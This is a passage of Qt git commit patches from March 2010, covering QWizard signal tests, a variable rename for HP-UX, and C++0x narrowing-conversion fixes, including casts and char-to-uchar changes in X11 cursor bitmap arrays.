QCOMPARE(spy.count(), 0); wizard.removePage(2); + QCOMPARE(spy.count(), 1); + arguments = spy.takeFirst(); + QCOMPARE(arguments.at(0).toInt(), 2); QCOMPARE(wizard.visitedPages().size(), 2); QVERIFY(!wizard.pageIds().contains(2)); QCOMPARE(wizard.currentPage(), page1); @@ -2256,9 +2314,13 @@ void tst_QWizard::removePage() wizard.setPage(2, page2); // restore wizard.restart(); wizard.next(); + QCOMPARE(spy.count(), 0); QCOMPARE(wizard.visitedPages().size(), 2); QCOMPARE(wizard.currentPage(), page1); wizard.removePage(0); + QCOMPARE(spy.count(), 1); + arguments = spy.takeFirst(); + QCOMPARE(arguments.at(0).toInt(), 0); QCOMPARE(wizard.visitedPages().size(), 1); QVERIFY(!wizard.visitedPages().contains(0)); QVERIFY(!wizard.pageIds().contains(0)); @@ -2268,9 +2330,13 @@ void tst_QWizard::removePage() wizard.setPage(0, page0); // restore wizard.restart(); wizard.next(); + QCOMPARE(spy.count(), 0); QCOMPARE(wizard.visitedPages().size(), 2); QCOMPARE(wizard.currentPage(), page1); wizard.removePage(1); + QCOMPARE(spy.count(), 1); + arguments = spy.takeFirst(); + QCOMPARE(arguments.at(0).toInt(), 1); QCOMPARE(wizard.visitedPages().size(), 1); QVERIFY(!wizard.visitedPages().contains(1)); QVERIFY(!wizard.pageIds().contains(1)); @@ -2278,6 +2344,9 @@ void tst_QWizard::removePage() // Remove the current page which is the first (and only) one in the history wizard.removePage(0); + QCOMPARE(spy.count(), 1); + arguments = spy.takeFirst(); + QCOMPARE(arguments.at(0).toInt(), 0); QCOMPARE(wizard.visitedPages().size(), 1); QVERIFY(!wizard.visitedPages().contains(0)); QCOMPARE(wizard.pageIds().size(), 2); @@ -2285,6 +2354,9 @@ void tst_QWizard::removePage() QCOMPARE(wizard.currentPage(), page2); // wizard.removePage(2); + QCOMPARE(spy.count(), 1); + arguments = spy.takeFirst(); + QCOMPARE(arguments.at(0).toInt(), 2); QCOMPARE(wizard.visitedPages().size(), 1); QVERIFY(!wizard.visitedPages().contains(2)); QCOMPARE(wizard.pageIds().size(), 1); @@ -2292,11 +2364,34 @@ void tst_QWizard::removePage() QCOMPARE(wizard.currentPage(), page3); // wizard.removePage(3); + QCOMPARE(spy.count(), 1); + arguments = spy.takeFirst(); + QCOMPARE(arguments.at(0).toInt(), 3); QVERIFY(wizard.visitedPages().empty()); QVERIFY(wizard.pageIds().empty()); QCOMPARE(wizard.currentPage(), static_cast(0)); } +void tst_QWizard::sideWidget() +{ + QWizard wizard; + + wizard.setSideWidget(0); + QVERIFY(wizard.sideWidget() == 0); + QWidget *w1 = new QWidget(&wizard); + wizard.setSideWidget(w1); + QVERIFY(wizard.sideWidget() == w1); + QWidget *w2 = new QWidget(&wizard); + wizard.setSideWidget(w2); + QVERIFY(wizard.sideWidget() == w2); + QVERIFY(w1->parent() != 0); + QCOMPARE(w1->window(), static_cast(&wizard)); + QCOMPARE(w2->window(), static_cast(&wizard)); + w1->setParent(0); + wizard.setSideWidget(0); + QVERIFY(wizard.sideWidget() == 0); +} + void tst_QWizard::task161660_buttonSpacing() { #ifndef QT_NO_STYLE_PLASTIQUE -- cgit v0.12 From de5e292f706ab05d2a8a213bbd73db06a61eb9d2 Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Sat, 20 Mar 2010 16:15:22 +0100 Subject: Rename m_volume to m_vol HP-UX has a #define somewhere for m_volume --- src/imports/multimedia/qdeclarativemediabase.cpp | 10 +++++----- src/imports/multimedia/qdeclarativemediabase_p.h | 2 +- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/src/imports/multimedia/qdeclarativemediabase.cpp b/src/imports/multimedia/qdeclarativemediabase.cpp index 5bad969..bbd5901 100644 --- a/src/imports/multimedia/qdeclarativemediabase.cpp +++ b/src/imports/multimedia/qdeclarativemediabase.cpp @@ -232,7 +232,7 @@ QDeclarativeMediaBase::QDeclarativeMediaBase() , m_loaded(false) , m_muted(false) , m_position(0) - , m_volume(1.0) + , m_vol(1.0) , m_playbackRate(1.0) , m_mediaService(0) , m_playerControl(0) @@ -313,7 +313,7 @@ void QDeclarativeMediaBase::setObject(QObject *object) } // Init - m_playerControl->setVolume(m_volume * 100); + m_playerControl->setVolume(m_vol * 100); m_playerControl->setMuted(m_muted); m_playerControl->setPlaybackRate(m_playbackRate); @@ -457,15 +457,15 @@ void QDeclarativeMediaBase::setPosition(int position) qreal QDeclarativeMediaBase::volume() const { - return m_playerControl == 0 ? m_volume : qreal(m_playerControl->volume()) / 100; + return m_playerControl == 0 ? m_vol : qreal(m_playerControl->volume()) / 100; } void QDeclarativeMediaBase::setVolume(qreal volume) { - if (m_volume == volume) + if (m_vol == volume) return; - m_volume = volume; + m_vol = volume; if (m_playerControl != 0) m_playerControl->setVolume(qRound(volume * 100)); diff --git a/src/imports/multimedia/qdeclarativemediabase_p.h b/src/imports/multimedia/qdeclarativemediabase_p.h index 43df54d..7d262e0 100644 --- a/src/imports/multimedia/qdeclarativemediabase_p.h +++ b/src/imports/multimedia/qdeclarativemediabase_p.h @@ -154,7 +154,7 @@ protected: bool m_loaded; bool m_muted; int m_position; - qreal m_volume; + qreal m_vol; qreal m_playbackRate; QMediaService *m_mediaService; QMediaPlayerControl *m_playerControl; -- cgit v0.12 From b2cfb30175f2d08ecfbe9fa7b8b502aeed4c1fca Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Sat, 20 Mar 2010 16:26:05 +0100 Subject: Fix compilation with WINSCW: #include doesn't find files in the same dir --- src/declarative/graphicsitems/qdeclarativeitem_p.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeitem_p.h b/src/declarative/graphicsitems/qdeclarativeitem_p.h index 55df063..cb068da 100644 --- a/src/declarative/graphicsitems/qdeclarativeitem_p.h +++ b/src/declarative/graphicsitems/qdeclarativeitem_p.h @@ -55,9 +55,9 @@ #include "qdeclarativeitem.h" -#include "qdeclarativeanchors_p.h" -#include "qdeclarativeanchors_p_p.h" -#include "qdeclarativeitemchangelistener_p.h" +#include "private/qdeclarativeanchors_p.h" +#include "private/qdeclarativeanchors_p_p.h" +#include "private/qdeclarativeitemchangelistener_p.h" #include #include -- cgit v0.12 From 06b9776836a8e16792eb647c33310eb773780f0a Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Sat, 20 Mar 2010 16:26:53 +0100 Subject: Fix compilation on Linux Error was: narrowing conversion of 'point.QPointF::x()' from 'qreal' to 'float' inside { } --- src/declarative/qml/qdeclarativecompiler.cpp | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp index 42d2950..7eb469a 100644 --- a/src/declarative/qml/qdeclarativecompiler.cpp +++ b/src/declarative/qml/qdeclarativecompiler.cpp @@ -438,7 +438,7 @@ void QDeclarativeCompiler::genLiteralAssignment(const QMetaProperty &prop, bool ok; QPointF point = QDeclarativeStringConverters::pointFFromString(string, &ok); - float data[] = { point.x(), point.y() }; + float data[] = { float(point.x()), float(point.y()) }; int index = output->indexForFloat(data, 2); if (type == QVariant::PointF) instr.type = QDeclarativeInstruction::StorePointF; @@ -453,7 +453,7 @@ void QDeclarativeCompiler::genLiteralAssignment(const QMetaProperty &prop, { bool ok; QSizeF size = QDeclarativeStringConverters::sizeFFromString(string, &ok); - float data[] = { size.width(), size.height() }; + float data[] = { float(size.width()), float(size.height()) }; int index = output->indexForFloat(data, 2); if (type == QVariant::SizeF) instr.type = QDeclarativeInstruction::StoreSizeF; @@ -468,8 +468,8 @@ void QDeclarativeCompiler::genLiteralAssignment(const QMetaProperty &prop, { bool ok; QRectF rect = QDeclarativeStringConverters::rectFFromString(string, &ok); - float data[] = { rect.x(), rect.y(), - rect.width(), rect.height() }; + float data[] = { float(rect.x()), float(rect.y()), + float(rect.width()), float(rect.height()) }; int index = output->indexForFloat(data, 4); if (type == QVariant::RectF) instr.type = QDeclarativeInstruction::StoreRectF; @@ -492,7 +492,7 @@ void QDeclarativeCompiler::genLiteralAssignment(const QMetaProperty &prop, bool ok; QVector3D vector = QDeclarativeStringConverters::vector3DFromString(string, &ok); - float data[] = { vector.x(), vector.y(), vector.z() }; + float data[] = { float(vector.x()), float(vector.y()), float(vector.z()) }; int index = output->indexForFloat(data, 3); instr.type = QDeclarativeInstruction::StoreVector3D; instr.storeRealPair.propertyIndex = prop.propertyIndex(); -- cgit v0.12 From 29f94f0d25711bd30fd5ed7d6a6717ce4f2244d5 Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Sat, 20 Mar 2010 16:27:05 +0100 Subject: Fix cast-from-ascii warning --- src/declarative/qml/qdeclarativecompiler.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp index 7eb469a..64d46d5 100644 --- a/src/declarative/qml/qdeclarativecompiler.cpp +++ b/src/declarative/qml/qdeclarativecompiler.cpp @@ -2094,7 +2094,7 @@ bool QDeclarativeCompiler::buildPropertyOnAssignment(QDeclarativeParser::Propert buildDynamicMeta(baseObj, ForceCreation); v->type = isPropertyValue ? Value::ValueSource : Value::ValueInterceptor; } else { - COMPILE_EXCEPTION(v, QCoreApplication::translate("QDeclarativeCompiler","\"%1\" cannot operate on \"%2\"").arg(v->object->typeName.constData()).arg(prop->name.constData())); + COMPILE_EXCEPTION(v, QCoreApplication::translate("QDeclarativeCompiler","\"%1\" cannot operate on \"%2\"").arg(QLatin1String(v->object->typeName.constData())).arg(QLatin1String(prop->name.constData()))); } return true; -- cgit v0.12 From 69e873e2bfae3fc028c21d93112a75008c3bb58b Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Sat, 20 Mar 2010 23:15:23 +0100 Subject: Avoid a data relocation by not trying to store a pointer in the .data section of plugins. Reviewed-By: Rohan McGovern --- src/corelib/plugin/qplugin.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/corelib/plugin/qplugin.h b/src/corelib/plugin/qplugin.h index b798437..7f541f1 100644 --- a/src/corelib/plugin/qplugin.h +++ b/src/corelib/plugin/qplugin.h @@ -110,7 +110,7 @@ void Q_CORE_EXPORT qRegisterStaticPluginInstanceFunction(QtPluginInstanceFunctio # define QPLUGIN_DEBUG_STR "true" # endif # define Q_PLUGIN_VERIFICATION_DATA \ - static const char *qt_plugin_verification_data = \ + static const char qt_plugin_verification_data[] = \ "pattern=""QT_PLUGIN_VERIFICATION_DATA""\n" \ "version="QT_VERSION_STR"\n" \ "debug="QPLUGIN_DEBUG_STR"\n" \ -- cgit v0.12 From 7c594907d521bb29ecca1b953a4ceea49ec32dd4 Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Sat, 20 Mar 2010 23:57:59 +0100 Subject: Compile Qt in C++0x mode. This is not valid in C++0x: char str[] = { 128, 0 }; Because 128 cannot be represented in a char. The same applies to conversion from int to qreal: it's a narrowing conversion, with possible data loss. More info: http://www2.research.att.com/~bs/C++0xFAQ.html#narrowing Reviewed-by: Trust Me --- src/dbus/qdbusmarshaller.cpp | 2 +- src/gui/itemviews/qitemdelegate.cpp | 2 +- src/gui/kernel/qcursor_x11.cpp | 68 +++++++++++----------- src/gui/painting/qpaintengineex.cpp | 19 +++--- src/gui/styles/qstylesheetstyle.cpp | 2 +- src/gui/text/qtextdocument_p.cpp | 2 +- src/multimedia/base/qpaintervideosurface.cpp | 34 +++++------ .../gl2paintengineex/qpaintengineex_opengl2.cpp | 8 +-- src/opengl/qglshaderprogram.cpp | 20 ++++--- src/opengl/qpaintengine_opengl.cpp | 8 +-- 10 files changed, 84 insertions(+), 81 deletions(-) diff --git a/src/dbus/qdbusmarshaller.cpp b/src/dbus/qdbusmarshaller.cpp index 8ec328e..60b3c09 100644 --- a/src/dbus/qdbusmarshaller.cpp +++ b/src/dbus/qdbusmarshaller.cpp @@ -514,7 +514,7 @@ bool QDBusMarshaller::appendCrossMarshalling(QDBusDemarshaller *demarshaller) void* data; q_dbus_message_iter_get_fixed_array(&sub,&data,&len); - char signature[2] = { element, 0 }; + char signature[2] = { char(element), 0 }; q_dbus_message_iter_open_container(&iterator, DBUS_TYPE_ARRAY, signature, &sub); q_dbus_message_iter_append_fixed_array(&sub, element, &data, len); q_dbus_message_iter_close_container(&iterator, &sub); diff --git a/src/gui/itemviews/qitemdelegate.cpp b/src/gui/itemviews/qitemdelegate.cpp index 7d8e103..cba213b 100644 --- a/src/gui/itemviews/qitemdelegate.cpp +++ b/src/gui/itemviews/qitemdelegate.cpp @@ -1023,7 +1023,7 @@ QPixmap QItemDelegate::decoration(const QStyleOptionViewItem &option, const QVar // hacky but faster version of "QString::sprintf("%d-%d", i, enabled)" static QString qPixmapSerial(quint64 i, bool enabled) { - ushort arr[] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, '-', '0' + enabled }; + ushort arr[] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, '-', ushort('0' + enabled) }; ushort *ptr = &arr[16]; while (i > 0) { diff --git a/src/gui/kernel/qcursor_x11.cpp b/src/gui/kernel/qcursor_x11.cpp index 4e871a6..8e48628 100644 --- a/src/gui/kernel/qcursor_x11.cpp +++ b/src/gui/kernel/qcursor_x11.cpp @@ -294,7 +294,7 @@ void QCursorData::update() return; #endif // QT_NO_XCURSOR - static const char cur_blank_bits[] = { + static const uchar cur_blank_bits[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; @@ -302,44 +302,44 @@ void QCursorData::update() // Non-standard X11 cursors are created from bitmaps #ifndef QT_USE_APPROXIMATE_CURSORS - static const char cur_ver_bits[] = { + static const uchar cur_ver_bits[] = { 0x00, 0x00, 0x00, 0x00, 0x80, 0x01, 0xc0, 0x03, 0xe0, 0x07, 0xf0, 0x0f, 0x80, 0x01, 0x80, 0x01, 0x80, 0x01, 0x80, 0x01, 0x80, 0x01, 0xf0, 0x0f, 0xe0, 0x07, 0xc0, 0x03, 0x80, 0x01, 0x00, 0x00 }; - static const char mcur_ver_bits[] = { + static const uchar mcur_ver_bits[] = { 0x00, 0x00, 0x80, 0x03, 0xc0, 0x07, 0xe0, 0x0f, 0xf0, 0x1f, 0xf8, 0x3f, 0xfc, 0x7f, 0xc0, 0x07, 0xc0, 0x07, 0xc0, 0x07, 0xfc, 0x7f, 0xf8, 0x3f, 0xf0, 0x1f, 0xe0, 0x0f, 0xc0, 0x07, 0x80, 0x03 }; - static const char cur_hor_bits[] = { + static const uchar cur_hor_bits[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x08, 0x30, 0x18, 0x38, 0x38, 0xfc, 0x7f, 0xfc, 0x7f, 0x38, 0x38, 0x30, 0x18, 0x20, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; - static const char mcur_hor_bits[] = { + static const uchar mcur_hor_bits[] = { 0x00, 0x00, 0x00, 0x00, 0x40, 0x04, 0x60, 0x0c, 0x70, 0x1c, 0x78, 0x3c, 0xfc, 0x7f, 0xfe, 0xff, 0xfe, 0xff, 0xfe, 0xff, 0xfc, 0x7f, 0x78, 0x3c, 0x70, 0x1c, 0x60, 0x0c, 0x40, 0x04, 0x00, 0x00 }; - static const char cur_bdiag_bits[] = { + static const uchar cur_bdiag_bits[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x3f, 0x00, 0x3e, 0x00, 0x3c, 0x00, 0x3e, 0x00, 0x37, 0x88, 0x23, 0xd8, 0x01, 0xf8, 0x00, 0x78, 0x00, 0xf8, 0x00, 0xf8, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; - static const char mcur_bdiag_bits[] = { + static const uchar mcur_bdiag_bits[] = { 0x00, 0x00, 0xc0, 0x7f, 0x80, 0x7f, 0x00, 0x7f, 0x00, 0x7e, 0x04, 0x7f, 0x8c, 0x7f, 0xdc, 0x77, 0xfc, 0x63, 0xfc, 0x41, 0xfc, 0x00, 0xfc, 0x01, 0xfc, 0x03, 0xfc, 0x07, 0x00, 0x00, 0x00, 0x00 }; - static const char cur_fdiag_bits[] = { + static const uchar cur_fdiag_bits[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x01, 0xf8, 0x00, 0x78, 0x00, 0xf8, 0x00, 0xd8, 0x01, 0x88, 0x23, 0x00, 0x37, 0x00, 0x3e, 0x00, 0x3c, 0x00, 0x3e, 0x00, 0x3f, 0x00, 0x00, 0x00, 0x00 }; - static const char mcur_fdiag_bits[] = { + static const uchar mcur_fdiag_bits[] = { 0x00, 0x00, 0x00, 0x00, 0xfc, 0x07, 0xfc, 0x03, 0xfc, 0x01, 0xfc, 0x00, 0xfc, 0x41, 0xfc, 0x63, 0xdc, 0x77, 0x8c, 0x7f, 0x04, 0x7f, 0x00, 0x7e, 0x00, 0x7f, 0x80, 0x7f, 0xc0, 0x7f, 0x00, 0x00 }; - static const char *cursor_bits16[] = { + static const uchar *cursor_bits16[] = { cur_ver_bits, mcur_ver_bits, cur_hor_bits, mcur_hor_bits, cur_bdiag_bits, mcur_bdiag_bits, cur_fdiag_bits, mcur_fdiag_bits, 0, 0, cur_blank_bits, cur_blank_bits }; - static const char vsplit_bits[] = { + static const uchar vsplit_bits[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0xc0, 0x01, 0x00, 0x00, 0xe0, 0x03, 0x00, @@ -351,7 +351,7 @@ void QCursorData::update() 0x00, 0xc0, 0x01, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; - static const char vsplitm_bits[] = { + static const uchar vsplitm_bits[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0xc0, 0x01, 0x00, 0x00, 0xe0, 0x03, 0x00, 0x00, 0xf0, 0x07, 0x00, @@ -363,7 +363,7 @@ void QCursorData::update() 0x00, 0xe0, 0x03, 0x00, 0x00, 0xc0, 0x01, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; - static const char hsplit_bits[] = { + static const uchar hsplit_bits[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x02, 0x00, 0x00, 0x40, 0x02, 0x00, @@ -375,7 +375,7 @@ void QCursorData::update() 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; - static const char hsplitm_bits[] = { + static const uchar hsplitm_bits[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x07, 0x00, 0x00, 0xe0, 0x07, 0x00, 0x00, 0xe0, 0x07, 0x00, @@ -387,7 +387,7 @@ void QCursorData::update() 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; - static const char whatsthis_bits[] = { + static const uchar whatsthis_bits[] = { 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x05, 0xf0, 0x07, 0x00, 0x09, 0x18, 0x0e, 0x00, 0x11, 0x1c, 0x0e, 0x00, 0x21, 0x1c, 0x0e, 0x00, 0x41, 0x1c, 0x0e, 0x00, 0x81, 0x1c, 0x0e, 0x00, 0x01, 0x01, 0x07, 0x00, @@ -399,7 +399,7 @@ void QCursorData::update() 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, }; - static const char whatsthism_bits[] = { + static const uchar whatsthism_bits[] = { 0x01, 0x00, 0x00, 0x00, 0x03, 0xf0, 0x07, 0x00, 0x07, 0xf8, 0x0f, 0x00, 0x0f, 0xfc, 0x1f, 0x00, 0x1f, 0x3e, 0x1f, 0x00, 0x3f, 0x3e, 0x1f, 0x00, 0x7f, 0x3e, 0x1f, 0x00, 0xff, 0x3e, 0x1f, 0x00, 0xff, 0x9d, 0x0f, 0x00, @@ -411,7 +411,7 @@ void QCursorData::update() 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, }; - static const char busy_bits[] = { + static const uchar busy_bits[] = { 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x41, 0xe0, 0xff, 0x00, 0x81, 0x20, 0x80, 0x00, 0x01, 0xe1, 0xff, 0x00, @@ -423,7 +423,7 @@ void QCursorData::update() 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; - static const char busym_bits[] = { + static const uchar busym_bits[] = { 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x3f, 0x00, 0x00, 0x00, 0x7f, 0xe0, 0xff, 0x00, 0xff, 0xe0, 0xff, 0x00, 0xff, 0xe1, 0xff, 0x00, @@ -436,41 +436,41 @@ void QCursorData::update() 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; - static const char * const cursor_bits32[] = { + static const uchar * const cursor_bits32[] = { vsplit_bits, vsplitm_bits, hsplit_bits, hsplitm_bits, 0, 0, 0, 0, whatsthis_bits, whatsthism_bits, busy_bits, busym_bits }; - static const char forbidden_bits[] = { + static const uchar forbidden_bits[] = { 0x00,0x00,0x00,0x80,0x1f,0x00,0xe0,0x7f,0x00,0xf0,0xf0,0x00,0x38,0xc0,0x01, 0x7c,0x80,0x03,0xec,0x00,0x03,0xce,0x01,0x07,0x86,0x03,0x06,0x06,0x07,0x06, 0x06,0x0e,0x06,0x06,0x1c,0x06,0x0e,0x38,0x07,0x0c,0x70,0x03,0x1c,0xe0,0x03, 0x38,0xc0,0x01,0xf0,0xe0,0x00,0xe0,0x7f,0x00,0x80,0x1f,0x00,0x00,0x00,0x00 }; - static const char forbiddenm_bits[] = { + static const uchar forbiddenm_bits[] = { 0x80,0x1f,0x00,0xe0,0x7f,0x00,0xf0,0xff,0x00,0xf8,0xff,0x01,0xfc,0xf0,0x03, 0xfe,0xc0,0x07,0xfe,0x81,0x07,0xff,0x83,0x0f,0xcf,0x07,0x0f,0x8f,0x0f,0x0f, 0x0f,0x1f,0x0f,0x0f,0x3e,0x0f,0x1f,0xfc,0x0f,0x1e,0xf8,0x07,0x3e,0xf0,0x07, 0xfc,0xe0,0x03,0xf8,0xff,0x01,0xf0,0xff,0x00,0xe0,0x7f,0x00,0x80,0x1f,0x00}; - static const char openhand_bits[] = { + static const uchar openhand_bits[] = { 0x80,0x01,0x58,0x0e,0x64,0x12,0x64,0x52,0x48,0xb2,0x48,0x92, 0x16,0x90,0x19,0x80,0x11,0x40,0x02,0x40,0x04,0x40,0x04,0x20, 0x08,0x20,0x10,0x10,0x20,0x10,0x00,0x00}; - static const char openhandm_bits[] = { + static const uchar openhandm_bits[] = { 0x80,0x01,0xd8,0x0f,0xfc,0x1f,0xfc,0x5f,0xf8,0xff,0xf8,0xff, 0xf6,0xff,0xff,0xff,0xff,0x7f,0xfe,0x7f,0xfc,0x7f,0xfc,0x3f, 0xf8,0x3f,0xf0,0x1f,0xe0,0x1f,0x00,0x00}; - static const char closedhand_bits[] = { + static const uchar closedhand_bits[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0xb0,0x0d,0x48,0x32,0x08,0x50, 0x10,0x40,0x18,0x40,0x04,0x40,0x04,0x20,0x08,0x20,0x10,0x10, 0x20,0x10,0x20,0x10,0x00,0x00,0x00,0x00}; - static const char closedhandm_bits[] = { + static const uchar closedhandm_bits[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0xb0,0x0d,0xf8,0x3f,0xf8,0x7f, 0xf0,0x7f,0xf8,0x7f,0xfc,0x7f,0xfc,0x3f,0xf8,0x3f,0xf0,0x1f, 0xe0,0x1f,0xe0,0x1f,0x00,0x00,0x00,0x00}; - static const char * const cursor_bits20[] = { + static const uchar * const cursor_bits20[] = { forbidden_bits, forbiddenm_bits }; @@ -484,8 +484,8 @@ void QCursorData::update() fg.green = 0; fg.blue = 0; int i = (cshape - Qt::SizeVerCursor) * 2; - pm = XCreateBitmapFromData(dpy, rootwin, cursor_bits16[i], 16, 16); - pmm = XCreateBitmapFromData(dpy, rootwin, cursor_bits16[i + 1], 16, 16); + pm = XCreateBitmapFromData(dpy, rootwin, reinterpret_cast(cursor_bits16[i]), 16, 16); + pmm = XCreateBitmapFromData(dpy, rootwin, reinterpret_cast(cursor_bits16[i + 1]), 16, 16); hcurs = XCreatePixmapCursor(dpy, pm, pmm, &fg, &bg, 8, 8); } else if ((cshape >= Qt::SplitVCursor && cshape <= Qt::SplitHCursor) || cshape == Qt::WhatsThisCursor || cshape == Qt::BusyCursor) { @@ -497,8 +497,8 @@ void QCursorData::update() fg.green = 0; fg.blue = 0; int i = (cshape - Qt::SplitVCursor) * 2; - pm = XCreateBitmapFromData(dpy, rootwin, cursor_bits32[i], 32, 32); - pmm = XCreateBitmapFromData(dpy, rootwin, cursor_bits32[i + 1], 32, 32); + pm = XCreateBitmapFromData(dpy, rootwin, reinterpret_cast(cursor_bits32[i]), 32, 32); + pmm = XCreateBitmapFromData(dpy, rootwin, reinterpret_cast(cursor_bits32[i + 1]), 32, 32); int hs = (cshape == Qt::PointingHandCursor || cshape == Qt::WhatsThisCursor || cshape == Qt::BusyCursor) ? 0 : 16; hcurs = XCreatePixmapCursor(dpy, pm, pmm, &fg, &bg, hs, hs); @@ -511,8 +511,8 @@ void QCursorData::update() fg.green = 0; fg.blue = 0; int i = (cshape - Qt::ForbiddenCursor) * 2; - pm = XCreateBitmapFromData(dpy, rootwin, cursor_bits20[i], 20, 20); - pmm = XCreateBitmapFromData(dpy, rootwin, cursor_bits20[i + 1], 20, 20); + pm = XCreateBitmapFromData(dpy, rootwin, reinterpret_cast(cursor_bits20[i]), 20, 20); + pmm = XCreateBitmapFromData(dpy, rootwin, reinterpret_cast(cursor_bits20[i + 1]), 20, 20); hcurs = XCreatePixmapCursor(dpy, pm, pmm, &fg, &bg, 10, 10); } else if (cshape == Qt::OpenHandCursor || cshape == Qt::ClosedHandCursor) { XColor bg, fg; @@ -523,8 +523,8 @@ void QCursorData::update() fg.green = 0; fg.blue = 0; bool open = cshape == Qt::OpenHandCursor; - pm = XCreateBitmapFromData(dpy, rootwin, open ? openhand_bits : closedhand_bits, 16, 16); - pmm = XCreateBitmapFromData(dpy, rootwin, open ? openhandm_bits : closedhandm_bits, 16, 16); + pm = XCreateBitmapFromData(dpy, rootwin, reinterpret_cast(open ? openhand_bits : closedhand_bits), 16, 16); + pmm = XCreateBitmapFromData(dpy, rootwin, reinterpret_cast(open ? openhandm_bits : closedhandm_bits), 16, 16); hcurs = XCreatePixmapCursor(dpy, pm, pmm, &fg, &bg, 8, 